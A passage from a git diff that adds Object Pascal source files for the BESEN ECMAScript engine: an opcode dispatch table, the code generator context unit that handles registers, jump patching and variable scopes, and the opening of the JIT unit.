BESENCodeContextOpcodes[bopTOBOOLEAN]:=@TBESENCodeContext.OpTOBOOLEAN; + BESENCodeContextOpcodes[bopTOSTRING]:=@TBESENCodeContext.OpTOSTRING; + BESENCodeContextOpcodes[bopTOPRIMITIVE]:=@TBESENCodeContext.OpTOPRIMITIVE; + BESENCodeContextOpcodes[bopNEG]:=@TBESENCodeContext.OpNEG; + BESENCodeContextOpcodes[bopINV]:=@TBESENCodeContext.OpINV; + BESENCodeContextOpcodes[bopNOT]:=@TBESENCodeContext.OpNOT; + BESENCodeContextOpcodes[bopMUL]:=@TBESENCodeContext.OpMUL; + BESENCodeContextOpcodes[bopDIV]:=@TBESENCodeContext.OpDIV; + BESENCodeContextOpcodes[bopMOD]:=@TBESENCodeContext.OpMOD; + BESENCodeContextOpcodes[bopADD]:=@TBESENCodeContext.OpADD; + BESENCodeContextOpcodes[bopADDNUM]:=@TBESENCodeContext.OpADDNUM; + BESENCodeContextOpcodes[bopSUB]:=@TBESENCodeContext.OpSUB; + BESENCodeContextOpcodes[bopSHL]:=@TBESENCodeContext.OpSHL; + BESENCodeContextOpcodes[bopSHR]:=@TBESENCodeContext.OpSHR; + BESENCodeContextOpcodes[bopUSHR]:=@TBESENCodeContext.OpUSHR; + BESENCodeContextOpcodes[bopLT]:=@TBESENCodeContext.OpLT; + BESENCodeContextOpcodes[bopGT]:=@TBESENCodeContext.OpGT; + BESENCodeContextOpcodes[bopLE]:=@TBESENCodeContext.OpLE; + BESENCodeContextOpcodes[bopGE]:=@TBESENCodeContext.OpGE; + BESENCodeContextOpcodes[bopINSTANCEOF]:=@TBESENCodeContext.OpINSTANCEOF; + BESENCodeContextOpcodes[bopIN]:=@TBESENCodeContext.OpIN; + BESENCodeContextOpcodes[bopEQ]:=@TBESENCodeContext.OpEQ; + BESENCodeContextOpcodes[bopSEQ]:=@TBESENCodeContext.OpSEQ; + BESENCodeContextOpcodes[bopBAND]:=@TBESENCodeContext.OpBAND; + BESENCodeContextOpcodes[bopBXOR]:=@TBESENCodeContext.OpBXOR; + BESENCodeContextOpcodes[bopBOR]:=@TBESENCodeContext.OpBOR; + BESENCodeContextOpcodes[bopSENUM]:=@TBESENCodeContext.OpSENUM; + BESENCodeContextOpcodes[bopSWITH]:=@TBESENCodeContext.OpSWITH; + BESENCodeContextOpcodes[bopSCATCH]:=@TBESENCodeContext.OpSCATCH; + BESENCodeContextOpcodes[bopENDF]:=@TBESENCodeContext.OpENDF; + BESENCodeContextOpcodes[bopJMP]:=@TBESENCodeContext.OpJMP; + BESENCodeContextOpcodes[bopJZ]:=@TBESENCodeContext.OpJZ; + BESENCodeContextOpcodes[bopJNZ]:=@TBESENCodeContext.OpJNZ; + BESENCodeContextOpcodes[bopJNULL]:=@TBESENCodeContext.OpJNULL; + BESENCodeContextOpcodes[bopLOOPENUM]:=@TBESENCodeContext.OpLOOPENUM; + BESENCodeContextOpcodes[bopSTRYC]:=@TBESENCodeContext.OpSTRYC; + BESENCodeContextOpcodes[bopSTRYF]:=@TBESENCodeContext.OpSTRYF; + BESENCodeContextOpcodes[bopLITERAL]:=@TBESENCodeContext.OpLITERAL; + BESENCodeContextOpcodes[bopLITERALUNDEF]:=@TBESENCodeContext.OpLITERALUNDEF; + BESENCodeContextOpcodes[bopLITERALNULL]:=@TBESENCodeContext.OpLITERALNULL; + BESENCodeContextOpcodes[bopLITERALBOOL]:=@TBESENCodeContext.OpLITERALBOOL; + BESENCodeContextOpcodes[bopLITERALNUM]:=@TBESENCodeContext.OpLITERALNUM; + BESENCodeContextOpcodes[bopLITERALSTR]:=@TBESENCodeContext.OpLITERALSTR; + BESENCodeContextOpcodes[bopLITERALOBJ]:=@TBESENCodeContext.OpLITERALOBJ; + BESENCodeContextOpcodes[bopFUNC]:=@TBESENCodeContext.OpFUNC; + BESENCodeContextOpcodes[bopLINE]:=@TBESENCodeContext.OpLINE; + BESENCodeContextOpcodes[bopGC]:=@TBESENCodeContext.OpGC; + BESENCodeContextOpcodes[bopSTRICT]:=@TBESENCodeContext.OpSTRICT; + BESENCodeContextOpcodes[bopSTRICTCHECKREF]:=@TBESENCodeContext.OpSTRICTCHECKREF; + BESENCodeContextOpcodes[bopDEBUGGER]:=@TBESENCodeContext.OpDEBUGGER; + BESENCodeContextOpcodes[bopCHECKOBJECTCOERCIBLE]:=@TBESENCodeContext.OpCHECKOBJECTCOERCIBLE; + BESENCodeContextOpcodes[bopPUTOBJVALUE]:=@TBESENCodeContext.OpPUTOBJVALUE; + BESENCodeContextOpcodes[bopPUTOBJGET]:=@TBESENCodeContext.OpPUTOBJGET; + BESENCodeContextOpcodes[bopPUTOBJSET]:=@TBESENCodeContext.OpPUTOBJSET; + BESENCodeContextOpcodes[bopINC]:=@TBESENCodeContext.OpINC; + BESENCodeContextOpcodes[bopDEC]:=@TBESENCodeContext.OpDEC; + BESENCodeContextOpcodes[bopCOPYBOOL]:=@TBESENCodeContext.OpCOPYBOOL; + BESENCodeContextOpcodes[bopCOPYNUM]:=@TBESENCodeContext.OpCOPYNUM; + BESENCodeContextOpcodes[bopCOPYSTR]:=@TBESENCodeContext.OpCOPYSTR; + BESENCodeContextOpcodes[bopCOPYOBJ]:=@TBESENCodeContext.OpCOPYOBJ; + BESENCodeContextOpcodes[bopCOPYREF]:=@TBESENCodeContext.OpCOPYREF; + BESENCodeContextOpcodes[bopCOPYLOCAL]:=@TBESENCodeContext.OpCOPYLOCAL; + BESENCodeContextOpcodes[bopGETVALUEREF]:=@TBESENCodeContext.OpGETVALUEREF; + BESENCodeContextOpcodes[bopPUTVALUEREF]:=@TBESENCodeContext.OpPUTVALUEREF; + BESENCodeContextOpcodes[bopGETVALUELOCAL]:=@TBESENCodeContext.OpGETVALUELOCAL; + BESENCodeContextOpcodes[bopPUTVALUELOCAL]:=@TBESENCodeContext.OpPUTVALUELOCAL; + BESENCodeContextOpcodes[bopGETVALUELOCALFAST]:=@TBESENCodeContext.OpGETVALUELOCALFAST; + BESENCodeContextOpcodes[bopPUTVALUELOCALFAST]:=@TBESENCodeContext.OpPUTVALUELOCALFAST; + BESENCodeContextOpcodes[bopGETVALUELOCALBOOL]:=@TBESENCodeContext.OpGETVALUELOCALBOOL; + BESENCodeContextOpcodes[bopPUTVALUELOCALBOOL]:=@TBESENCodeContext.OpPUTVALUELOCALBOOL; + BESENCodeContextOpcodes[bopGETVALUELOCALNUM]:=@TBESENCodeContext.OpGETVALUELOCALNUM; + BESENCodeContextOpcodes[bopPUTVALUELOCALNUM]:=@TBESENCodeContext.OpPUTVALUELOCALNUM; + BESENCodeContextOpcodes[bopGETVALUELOCALSTR]:=@TBESENCodeContext.OpGETVALUELOCALSTR; + BESENCodeContextOpcodes[bopPUTVALUELOCALSTR]:=@TBESENCodeContext.OpPUTVALUELOCALSTR; + BESENCodeContextOpcodes[bopGETVALUELOCALOBJ]:=@TBESENCodeContext.OpGETVALUELOCALOBJ; + BESENCodeContextOpcodes[bopPUTVALUELOCALOBJ]:=@TBESENCodeContext.OpPUTVALUELOCALOBJ; + BESENCodeContextOpcodes[bopGETVALUELOCALINDEX]:=@TBESENCodeContext.OpGETVALUELOCALINDEX; + BESENCodeContextOpcodes[bopPUTVALUELOCALINDEX]:=@TBESENCodeContext.OpPUTVALUELOCALINDEX; + BESENCodeContextOpcodes[bopGETVALUELOCALINDEXBOOL]:=@TBESENCodeContext.OpGETVALUELOCALINDEXBOOL; + BESENCodeContextOpcodes[bopPUTVALUELOCALINDEXBOOL]:=@TBESENCodeContext.OpPUTVALUELOCALINDEXBOOL; + BESENCodeContextOpcodes[bopGETVALUELOCALINDEXNUM]:=@TBESENCodeContext.OpGETVALUELOCALINDEXNUM; + BESENCodeContextOpcodes[bopPUTVALUELOCALINDEXNUM]:=@TBESENCodeContext.OpPUTVALUELOCALINDEXNUM; + BESENCodeContextOpcodes[bopGETVALUELOCALINDEXSTR]:=@TBESENCodeContext.OpGETVALUELOCALINDEXSTR; + BESENCodeContextOpcodes[bopPUTVALUELOCALINDEXSTR]:=@TBESENCodeContext.OpPUTVALUELOCALINDEXSTR; + BESENCodeContextOpcodes[bopGETVALUELOCALINDEXOBJ]:=@TBESENCodeContext.OpGETVALUELOCALINDEXOBJ; + BESENCodeContextOpcodes[bopPUTVALUELOCALINDEXOBJ]:=@TBESENCodeContext.OpPUTVALUELOCALINDEXOBJ; + BESENCodeContextOpcodes[bopLOOPINITCOUNT]:=@TBESENCodeContext.OpLOOPINITCOUNT; + BESENCodeContextOpcodes[bopLOOPADDCOUNT]:=@TBESENCodeContext.OpLOOPADDCOUNT; + BESENCodeContextOpcodes[bopTRACE]:=@TBESENCodeContext.OpTRACE; + BESENCodeContextOpcodes[bopLTBOOL]:=@TBESENCodeContext.OpLTBOOL; + BESENCodeContextOpcodes[bopGTBOOL]:=@TBESENCodeContext.OpGTBOOL; + BESENCodeContextOpcodes[bopLEBOOL]:=@TBESENCodeContext.OpLEBOOL; + BESENCodeContextOpcodes[bopGEBOOL]:=@TBESENCodeContext.OpGEBOOL; + BESENCodeContextOpcodes[bopEQBOOL]:=@TBESENCodeContext.OpEQBOOL; + BESENCodeContextOpcodes[bopNEQBOOL]:=@TBESENCodeContext.OpNEQBOOL; + BESENCodeContextOpcodes[bopLTNUM]:=@TBESENCodeContext.OpLTNUM; + BESENCodeContextOpcodes[bopGTNUM]:=@TBESENCodeContext.OpGTNUM; + BESENCodeContextOpcodes[bopLENUM]:=@TBESENCodeContext.OpLENUM; + BESENCodeContextOpcodes[bopGENUM]:=@TBESENCodeContext.OpGENUM; + BESENCodeContextOpcodes[bopEQNUM]:=@TBESENCodeContext.OpEQNUM; + BESENCodeContextOpcodes[bopNEQNUM]:=@TBESENCodeContext.OpNEQNUM; + BESENCodeContextOpcodes[bopLTSTR]:=@TBESENCodeContext.OpLTSTR; + BESENCodeContextOpcodes[bopGTSTR]:=@TBESENCodeContext.OpGTSTR; + BESENCodeContextOpcodes[bopLESTR]:=@TBESENCodeContext.OpLESTR; + BESENCodeContextOpcodes[bopGESTR]:=@TBESENCodeContext.OpGESTR; + BESENCodeContextOpcodes[bopEQSTR]:=@TBESENCodeContext.OpEQSTR; + BESENCodeContextOpcodes[bopNEQSTR]:=@TBESENCodeContext.OpNEQSTR; + BESENCodeContextOpcodes[bopSHLBOOL]:=@TBESENCodeContext.OpSHLBOOL; + BESENCodeContextOpcodes[bopSHRBOOL]:=@TBESENCodeContext.OpSHRBOOL; + BESENCodeContextOpcodes[bopBANDBOOL]:=@TBESENCodeContext.OpBANDBOOL; + BESENCodeContextOpcodes[bopBXORBOOL]:=@TBESENCodeContext.OpBXORBOOL; + BESENCodeContextOpcodes[bopBORBOOL]:=@TBESENCodeContext.OpBORBOOL; + BESENCodeContextOpcodes[bopSHLNUM]:=@TBESENCodeContext.OpSHLNUM; + BESENCodeContextOpcodes[bopSHRNUM]:=@TBESENCodeContext.OpSHRNUM; + BESENCodeContextOpcodes[bopUSHRNUM]:=@TBESENCodeContext.OpUSHRNUM; + BESENCodeContextOpcodes[bopBANDNUM]:=@TBESENCodeContext.OpBANDNUM; + BESENCodeContextOpcodes[bopBXORNUM]:=@TBESENCodeContext.OpBXORNUM; + BESENCodeContextOpcodes[bopBORNUM]:=@TBESENCodeContext.OpBORNUM; + BESENCodeContextOpcodes[bopSETCUNDEF]:=@TBESENCodeContext.OpSETCUNDEF; + BESENCodeContextOpcodes[bopSETCNULL]:=@TBESENCodeContext.OpSETCNULL; + BESENCodeContextOpcodes[bopSETCBOOL]:=@TBESENCodeContext.OpSETCBOOL; + BESENCodeContextOpcodes[bopSETCNUM]:=@TBESENCodeContext.OpSETCNUM; + BESENCodeContextOpcodes[bopSETCSTR]:=@TBESENCodeContext.OpSETCSTR; + BESENCodeContextOpcodes[bopSETCOBJ]:=@TBESENCodeContext.OpSETCOBJ; + BESENCodeContextOpcodes[bopTRACENEW]:=@TBESENCodeContext.OpTRACENEW; + BESENCodeContextOpcodes[bopTRACECALL]:=@TBESENCodeContext.OpTRACECALL; + BESENCodeContextOpcodes[bopLTNUMCONST]:=@TBESENCodeContext.OpLTNUMCONST; + BESENCodeContextOpcodes[bopGTNUMCONST]:=@TBESENCodeContext.OpGTNUMCONST; + BESENCodeContextOpcodes[bopLENUMCONST]:=@TBESENCodeContext.OpLENUMCONST; + BESENCodeContextOpcodes[bopGENUMCONST]:=@TBESENCodeContext.OpGENUMCONST; + BESENCodeContextOpcodes[bopEQNUMCONST]:=@TBESENCodeContext.OpEQNUMCONST; + BESENCodeContextOpcodes[bopNEQNUMCONST]:=@TBESENCodeContext.OpNEQNUMCONST; + BESENCodeContextOpcodes[bopJZERO]:=@TBESENCodeContext.OpJZERO; + BESENCodeContextOpcodes[bopJNZERO]:=@TBESENCodeContext.OpJNZERO; +end; + +procedure InitBESEN; +begin + InitOpcodes; +end; + +procedure DoneBESEN; +begin +end; + +initialization + InitBESEN; +finalization + DoneBESEN; +end. diff --git a/Core/JS/BESENCodeGeneratorContext.pas b/Core/JS/BESENCodeGeneratorContext.pas new file mode 100644 index 0000000..cc33758 --- /dev/null +++ b/Core/JS/BESENCodeGeneratorContext.pas @@ -0,0 +1,531 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCodeGeneratorContext; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENValue,BESENBaseObject, + BESENCollectorObject,BESENHashMap; + +type TBESENCodeGeneratorContextVariableScope=record + Ident:TBESENString; + ID:integer; + InScope:longbool; + ValueType:TBESENValueType; + Initialized:longbool; + MutableOrDeletable:longbool; + RegNr:integer; + end; + + TBESENCodeGeneratorContextVariableScopes=array of TBESENCodeGeneratorContextVariableScope; + + TBESENCodeGeneratorContextPatchables=class(TBESENBaseObject) + public + Continues:TBESENIntegers; + Breaks:TBESENIntegers; + CountContinues:integer; + CountBreaks:integer; + Previous:TBESENCodeGeneratorContextPatchables; + Continuable:longbool; + BlockDepth:integer; + Target:integer; + ContinueValueTypesItems:TBESENValueTypesItems; + BreakValueTypesItems:TBESENValueTypesItems; + CountContinueValueTypesItems:integer; + CountBreakValueTypesItems:integer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure AddContinue(Address:integer;const ValueTypes:TBESENValueTypes); + procedure AddBreak(Address:integer;const ValueTypes:TBESENValueTypes); + end; + + TBESENCodeGeneratorContextRegister=record + IsWhat:longword; + IsLocal:longbool; + LocalIndex:longint; + ReferenceValueType:TBESENValueType; + InUse:longbool; + Variable:longint; + end; + + TBESENCodeGeneratorContextRegisters=array of TBESENCodeGeneratorContextRegister; + + TBESENCodeGeneratorContextRegisterStates=record + Registers:TBESENCodeGeneratorContextRegisters; + MaxRegisters:integer; + end; + + TBESENCodeGeneratorContext=class(TBESENBaseObject) + public + Next:TBESENCodeGeneratorContext; + Code:TObject; + BlockDepth:integer; + MaxBlockDepth:integer; + LoopDepth:integer; + MaxLoopDepth:integer; + MaxParamArgs:integer; + Patchables:TBESENCodeGeneratorContextPatchables; + VariableScopes:TBESENCodeGeneratorContextVariableScopes; + CountVariableScopes:integer; + InVariableScope:longbool; + VariableScopeHashMap:TBESENHashMap; + VariableNameHashMap:TBESENHashMap; + Registers:TBESENCodeGeneratorContextRegisters; + MaxRegisters:integer; + LookupHashMap:TBESENHashMap; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure PushPatchables(Target:integer;Continuable:boolean); + procedure PopPatchables(ContinueAddr,BreakAddr:integer); + function FindPatchables(Target:integer;Continuable:boolean):TBESENCodeGeneratorContextPatchables; + procedure BlockEnter; + procedure BlockLeave; + function BlockCurrent:integer; + function AllocateRegister:integer; + procedure DeallocateRegister(var RegNr:integer); + procedure GetRegisterStates(var RegisterStates:TBESENCodeGeneratorContextRegisterStates); + procedure SetRegisterStates(var RegisterStates:TBESENCodeGeneratorContextRegisterStates); + function VariableIndex(const Ident:TBESENString):integer; + function VariableGetInitialized(const Ident:TBESENString):TBESENBoolean; + function VariableGetMutableOrDeletable(const Ident:TBESENString):TBESENBoolean; + procedure VariableSetFlags(const Ident:TBESENString;const Initialized,MutableOrDeletable:boolean); + function VariableGetRegister(const Ident:TBESENString):integer; + procedure VariableSetRegister(const Ident:TBESENString;const RegNr:integer); + function VariableGetType(const Ident:TBESENString):TBESENValueType; + procedure VariableSetType(const Ident:TBESENString;const ValueType:TBESENValueType); + procedure VariableAllSetType(const ValueType:TBESENValueType); + function VariableGetTypes:TBESENValueTypes; + procedure VariableSetTypes(const ValueTypes:TBESENValueTypes); + function VariableGetIdent(const Index:integer):TBESENString; + function VariableID(const Ident:TBESENString):integer; + function IsVariableInScope(const Ident:TBESENString):boolean; + procedure VariableSetScope(const Ident:TBESENString;IsInScope,IsParameter:boolean;ParameterIndex:integer); + function VariableSetAllScope(IsInScope:boolean):boolean; + end; + +implementation + +uses BESEN,BESENUtils,BESENCode; + +constructor TBESENCodeGeneratorContextPatchables.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Continues:=nil; + Breaks:=nil; + CountContinues:=0; + CountBreaks:=0; + Previous:=nil; + Continuable:=false; + BlockDepth:=0; + Target:=0; + ContinueValueTypesItems:=nil; + BreakValueTypesItems:=nil; + CountContinueValueTypesItems:=0; + CountBreakValueTypesItems:=0; +end; + +destructor TBESENCodeGeneratorContextPatchables.Destroy; +begin + SetLength(Continues,0); + SetLength(Breaks,0); + SetLength(ContinueValueTypesItems,0); + SetLength(BreakValueTypesItems,0); + inherited Destroy; +end; + +procedure TBESENCodeGeneratorContextPatchables.AddContinue(Address:integer;const ValueTypes:TBESENValueTypes); +begin + if CountContinues>=length(Continues) then begin + SetLength(Continues,CountContinues+256); + end; + Continues[CountContinues]:=Address; + inc(CountContinues); + if CountContinueValueTypesItems>=length(ContinueValueTypesItems) then begin + SetLength(ContinueValueTypesItems,CountContinueValueTypesItems+256); + end; + ContinueValueTypesItems[CountContinueValueTypesItems]:=copy(ValueTypes,0,length(ValueTypes)); + inc(CountContinueValueTypesItems); +end; + +procedure TBESENCodeGeneratorContextPatchables.AddBreak(Address:integer;const ValueTypes:TBESENValueTypes); +begin + if CountBreaks>=length(Breaks) then begin + SetLength(Breaks,CountBreaks+256); + end; + Breaks[CountBreaks]:=Address; + inc(CountBreaks); + if CountBreakValueTypesItems>=length(BreakValueTypesItems) then begin + SetLength(BreakValueTypesItems,CountBreakValueTypesItems+256); + end; + BreakValueTypesItems[CountBreakValueTypesItems]:=copy(ValueTypes,0,length(ValueTypes)); + inc(CountBreakValueTypesItems); +end; + +constructor TBESENCodeGeneratorContext.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Next:=nil; + Code:=nil; + BlockDepth:=0; + MaxBlockDepth:=0; + LoopDepth:=0; + MaxLoopDepth:=0; + MaxParamArgs:=0; + Patchables:=nil; + VariableScopes:=nil; + CountVariableScopes:=0; + InVariableScope:=true; + VariableScopeHashMap:=TBESENHashMap.Create; + VariableNameHashMap:=TBESENHashMap.Create; + Registers:=nil; + MaxRegisters:=0; + LookupHashMap:=TBESENHashMap.Create; +end; + +destructor TBESENCodeGeneratorContext.Destroy; +var NextPatchables:TBESENCodeGeneratorContextPatchables; +begin + BESENFreeAndNil(LookupHashMap); + while assigned(Patchables) do begin + NextPatchables:=Patchables.Previous; + Patchables.Free; + Patchables:=NextPatchables; + end; + SetLength(Registers,0); + SetLength(VariableScopes,0); + VariableScopeHashMap.Free; + VariableNameHashMap.Free; + inherited Destroy; +end; + +procedure TBESENCodeGeneratorContext.PushPatchables(Target:integer;Continuable:boolean); +var p:TBESENCodeGeneratorContextPatchables; +begin + p:=TBESENCodeGeneratorContextPatchables.Create(Instance); + p.Target:=Target; + p.Continuable:=Continuable; + p.Previous:=Patchables; + p.BlockDepth:=BlockDepth; + Patchables:=p; +end; + +procedure TBESENCodeGeneratorContext.PopPatchables(ContinueAddr,BreakAddr:integer); +var i:integer; + p:TBESENCodeGeneratorContextPatchables; +begin + p:=Patchables; + if ContinueAddr>=0 then begin + for i:=0 to p.CountContinues-1 do begin + TBESENCode(Code).Patch(p.Continues[i],ContinueAddr); + end; + end; + if BreakAddr>=0 then begin + for i:=0 to p.CountBreaks-1 do begin + TBESENCode(Code).Patch(p.Breaks[i],BreakAddr); + end; + end; + Patchables:=p.Previous; + BESENFreeAndNil(p); +end; + +function TBESENCodeGeneratorContext.FindPatchables(Target:integer;Continuable:boolean):TBESENCodeGeneratorContextPatchables; +var p:TBESENCodeGeneratorContextPatchables; +begin + result:=nil; + if (Target=bcttNOTARGET) and Continuable then begin + p:=Patchables; + while assigned(p) do begin + if p.Continuable then begin + result:=p; + break; + end; + p:=p.Previous; + end; + end else if Target=bcttNOTARGET then begin + result:=Patchables; + end else begin + p:=Patchables; + while assigned(p) do begin + if p.Target=Target then begin + result:=p; + break; + end; + p:=p.Previous; + end; + end; +{$ifdef UseAssert} + Assert(assigned(result),'Lost patchable'); +{$endif} +end; + +procedure TBESENCodeGeneratorContext.BlockEnter; +begin + inc(BlockDepth); + if MaxBlockDepth<BlockDepth then begin + MaxBlockDepth:=BlockDepth; + end; +end; + +procedure TBESENCodeGeneratorContext.BlockLeave; +begin + dec(BlockDepth); +end; + +function TBESENCodeGeneratorContext.BlockCurrent:integer; +begin + result:=BlockDepth; +end; + +function TBESENCodeGeneratorContext.AllocateRegister:integer; +var i:integer; +begin + result:=-1; + for i:=0 to MaxRegisters-1 do begin + if not Registers[i].InUse then begin + result:=i; + break; + end; + end; + if result<0 then begin + result:=MaxRegisters; + inc(MaxRegisters); + if result>=length(Registers) then begin + SetLength(Registers,result+256); + end; + end; + Registers[result].InUse:=true; + Registers[result].IsWhat:=0; + Registers[result].IsLocal:=false; + Registers[result].LocalIndex:=-1; + Registers[result].Variable:=-1; +end; + +procedure TBESENCodeGeneratorContext.DeallocateRegister(var RegNr:integer); +begin + if ((RegNr>=0) and (RegNr<MaxRegisters)) and not (Registers[RegNr].Variable>=0) then begin + Registers[RegNr].InUse:=false; + Registers[RegNr].IsWhat:=0; + Registers[RegNr].IsLocal:=false; + Registers[RegNr].LocalIndex:=-1; + end; + RegNr:=-1; +end; + +procedure TBESENCodeGeneratorContext.GetRegisterStates(var RegisterStates:TBESENCodeGeneratorContextRegisterStates); +begin + RegisterStates.Registers:=copy(Registers,0,length(Registers)); + RegisterStates.MaxRegisters:=MaxRegisters; +end; + +procedure TBESENCodeGeneratorContext.SetRegisterStates(var RegisterStates:TBESENCodeGeneratorContextRegisterStates); +begin + Registers:=copy(RegisterStates.Registers,0,length(RegisterStates.Registers)); + MaxRegisters:=RegisterStates.MaxRegisters; +end; + +function TBESENCodeGeneratorContext.VariableIndex(const Ident:TBESENString):integer; +var Item:PBESENHashMapItem; +begin + Item:=VariableScopeHashMap.GetKey(Ident); + if assigned(Item) then begin + result:=Item^.Value; + end else begin + result:=-1; + end; +end; + +function TBESENCodeGeneratorContext.VariableGetInitialized(const Ident:TBESENString):TBESENBoolean; +var i:integer; +begin + i:=VariableIndex(Ident); + if i>=0 then begin + result:=VariableScopes[i].Initialized; + end else begin + result:=false; + end; +end; + +function TBESENCodeGeneratorContext.VariableGetMutableOrDeletable(const Ident:TBESENString):TBESENBoolean; +var i:integer; +begin + i:=VariableIndex(Ident); + if i>=0 then begin + result:=VariableScopes[i].MutableOrDeletable; + end else begin + result:=false; + end; +end; + +procedure TBESENCodeGeneratorContext.VariableSetFlags(const Ident:TBESENString;const Initialized,MutableOrDeletable:boolean); +var i:integer; +begin + i:=VariableIndex(Ident); + if i>=0 then begin + VariableScopes[i].Initialized:=Initialized; + VariableScopes[i].MutableOrDeletable:=MutableOrDeletable; + end; +end; + +function TBESENCodeGeneratorContext.VariableGetRegister(const Ident:TBESENString):integer; +var i:integer; +begin + i:=VariableIndex(Ident); + if i>=0 then begin + result:=VariableScopes[i].RegNr; + end else begin + result:=-1; + end; +end; + +procedure TBESENCodeGeneratorContext.VariableSetRegister(const Ident:TBESENString;const RegNr:integer); +var i:integer; +begin + i:=VariableIndex(Ident); + if i>=0 then begin + VariableScopes[i].RegNr:=RegNr; + end; +end; + +function TBESENCodeGeneratorContext.VariableGetType(const Ident:TBESENString):TBESENValueType; +var i:integer; +begin + i:=VariableIndex(Ident); + if i>=0 then begin + result:=VariableScopes[i].ValueType; + end else begin + result:=bvtUNDEFINED; + end; +end; + +procedure TBESENCodeGeneratorContext.VariableSetType(const Ident:TBESENString;const ValueType:TBESENValueType); +var i:integer; +begin + i:=VariableIndex(Ident); + if i>=0 then begin + VariableScopes[i].ValueType:=ValueType; + end; +end; + +procedure TBESENCodeGeneratorContext.VariableAllSetType(const ValueType:TBESENValueType); +var i:integer; +begin + for i:=0 to CountVariableScopes-1 do begin + VariableScopes[i].ValueType:=ValueType; + end; +end; + +function TBESENCodeGeneratorContext.VariableGetTypes:TBESENValueTypes; +var i:integer; +begin + SetLength(result,CountVariableScopes); + for i:=0 to CountVariableScopes-1 do begin + result[i]:=VariableScopes[i].ValueType; + end; +end; + +procedure TBESENCodeGeneratorContext.VariableSetTypes(const ValueTypes:TBESENValueTypes); +var i,j:integer; +begin + j:=CountVariableScopes; + if j>length(ValueTypes) then begin + j:=length(ValueTypes); + end; + for i:=0 to j-1 do begin + VariableScopes[i].ValueType:=ValueTypes[i]; + end; +end; + +function TBESENCodeGeneratorContext.VariableGetIdent(const Index:integer):TBESENString; +begin + if (Index>=0) and (Index<CountVariableScopes) then begin + result:=VariableScopes[Index].Ident; + end else begin + result:=''; + end; +end; + +function TBESENCodeGeneratorContext.VariableID(const Ident:TBESENString):integer; +var i:integer; +begin + i:=VariableIndex(Ident); + if i>=0 then begin + result:=VariableScopes[i].ID; + end else begin + result:=-1; + end; +end; + +function TBESENCodeGeneratorContext.IsVariableInScope(const Ident:TBESENString):boolean; +var i:integer; +begin + result:=false; + if InVariableScope then begin + i:=VariableIndex(Ident); + if i>=0 then begin + result:=VariableScopes[i].InScope; + end; + end; +end; + +procedure TBESENCodeGeneratorContext.VariableSetScope(const Ident:TBESENString;IsInScope,IsParameter:boolean;ParameterIndex:integer); +var i:integer; + Item:PBESENHashMapItem; +begin + i:=VariableIndex(Ident); + if i>=0 then begin + VariableScopes[i].InScope:=IsInScope; + end else begin + if IsInScope then begin + if CountVariableScopes>=length(VariableScopes) then begin + SetLength(VariableScopes,CountVariableScopes+256); + end; + VariableScopes[CountVariableScopes].Ident:=Ident; + VariableScopes[CountVariableScopes].ID:=TBESENCode(Code).GenVariable(Ident,IsParameter,ParameterIndex,self); + VariableScopes[CountVariableScopes].InScope:=IsInScope; + VariableScopes[CountVariableScopes].Initialized:=false; + VariableScopes[CountVariableScopes].MutableOrDeletable:=false; + VariableScopes[CountVariableScopes].ValueType:=bvtUNDEFINED; + VariableScopes[CountVariableScopes].RegNr:=-1; + Item:=VariableScopeHashMap.NewKey(Ident,true); + Item^.Value:=CountVariableScopes; + inc(CountVariableScopes); + end; + end; +end; + +function TBESENCodeGeneratorContext.VariableSetAllScope(IsInScope:boolean):boolean; +begin + result:=InVariableScope; + InVariableScope:=IsInScope; +end; + +end. diff --git a/Core/JS/BESENCodeJIT.pas b/Core/JS/BESENCodeJIT.pas new file mode 100644 index 0000000..1a20aa2 --- /dev/null +++ b/Core/JS/BESENCodeJIT.pas @@ -0,0 +1,89 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCodeJIT; +{$i BESEN.inc} + +interface + +uses {$ifdef windows}Windows,MMSystem,{$endif}{$ifdef unix}dl,BaseUnix,Unix, + UnixType,{$endif}BESENConstants,BESENTypes; + +function BESENGenerateNativeCode(ACodeContext:TObject):TBESENBoolean; +function BESENExecuteNativeCode(ACodeContext:TObject):TBESENBoolean; {$ifdef UseRegister}register;{$endif} + +implementation + +{ + +Base JIT design concept: + + 1. It is mostly a damn simple method-based native-code-template-concatenation JIT mostly without any + fancy optimizations just as CSE, SSA, and so on. + + 2. The native code execution can be continued from any correspondent byte code instruction, so it + is possible to jump to any byte-code-instruction-mapped native-code-sub-block from any each + other in the same code context and in the same code instande. + + 3. The from the JIT generated native code can call the correspondent byte code instruction dispatcher + function from the byte code interpreter at every time, if it 